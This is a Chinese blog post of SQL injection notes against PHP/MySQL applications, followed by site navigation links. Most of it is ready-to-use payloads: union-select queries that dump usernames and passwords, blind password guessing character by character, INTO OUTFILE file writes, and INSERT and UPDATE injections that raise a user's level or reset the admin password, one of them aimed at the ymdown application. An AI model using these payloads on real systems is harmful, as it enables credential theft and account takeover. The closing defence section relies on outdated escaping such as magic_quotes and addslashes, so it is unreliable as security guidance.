PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
jq的get传参数在utf-8中乱码问题的解决php版
Jul 23 PHP
php对gzip文件或者字符串解压实例参考
Jul 25 PHP
解析php获取字符串的编码格式的方法(函数)
Jun 21 PHP
在PHP中使用redis
Nov 04 PHP
PHP实现将科学计数法转换为原始数字字符串的方法
Dec 16 PHP
php检查是否是ajax请求的方法
Apr 16 PHP
PHP+AJAX实现投票功能的方法
Sep 28 PHP
php根据日期或时间戳获取星座信息和生肖等信息
Oct 20 PHP
PHP实现路由映射到指定控制器
Aug 13 PHP
php array_keys 返回数组的键名
Oct 25 PHP
如何在PHP中生成随机数
Jun 04 PHP
详解phpstorm2020最新破解方法
Sep 17 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
PHP数组交集的优化代码分析
2011/03/06 PHP
zf框架的数据库追踪器使用示例
2014/03/13 PHP
PHP接口继承及接口多继承原理与实现方法详解
2017/10/18 PHP
PHP+redis实现的悲观锁机制示例
2018/06/12 PHP
PHP获取真实IP及IP模拟方法解析
2020/11/24 PHP
漂亮的widgets,支持换肤和后期开发新皮肤(2007-4-27已更新1.7alpha)
2007/04/27 Javascript
JavaScript面象对象设计
2008/04/28 Javascript
JQUBAR1.1 jQuery 柱状图插件发布
2010/11/28 Javascript
分享一道笔试题[有n个直线最多可以把一个平面分成多少个部分]
2012/10/12 Javascript
jQuery替换节点用法示例(使用replaceWith方法)
2016/09/08 Javascript
Angularjs根据json文件动态生成路由状态的实现方法
2017/04/17 Javascript
highCharts提示框中显示当前时间的方法
2019/01/18 Javascript
vue 列表页跳转详情页获取id以及详情页通过id获取数据
2019/03/27 Javascript
详解vue-cli3多页应用改造
2019/06/04 Javascript
解决layui的使用以及针对select、radio等表单组件不显示的问题
2019/09/05 Javascript
Python标准库之多进程(multiprocessing包)介绍
2014/11/25 Python
Python isinstance函数介绍
2015/04/14 Python
介绍Python中的__future__模块
2015/04/27 Python
Python实现迭代时使用索引的方法示例
2018/06/05 Python
python如何删除文件中重复的字段
2019/07/16 Python
Python Django框架url反向解析实现动态生成对应的url链接示例
2019/10/18 Python
Python对Excel按列值筛选并拆分表格到多个文件的代码
2019/11/05 Python
python 函数中的参数类型
2020/02/11 Python
python 瀑布线指标编写实例
2020/06/03 Python
浅谈matplotlib 绘制梯度下降求解过程
2020/07/12 Python
Django-Scrapy生成后端json接口的方法示例
2020/10/06 Python
瑞典轮胎在线:Tirendo.se
2018/06/21 全球购物
Cotton On香港网站:澳洲时装连锁品牌
2018/11/01 全球购物
英国时尚配饰、珠宝和服装网站:KJ Beckett
2020/01/23 全球购物
什么是组件架构
2016/05/15 面试题
幼儿园小班教师寄语
2014/04/03 职场文书
员工安全承诺书
2014/05/22 职场文书
2014年企业团支部工作总结
2014/12/10 职场文书
保证书格式
2015/01/16 职场文书
六一儿童节开幕词
2015/01/29 职场文书
CSS3实现三角形不断放大效果
2021/04/13 HTML / CSS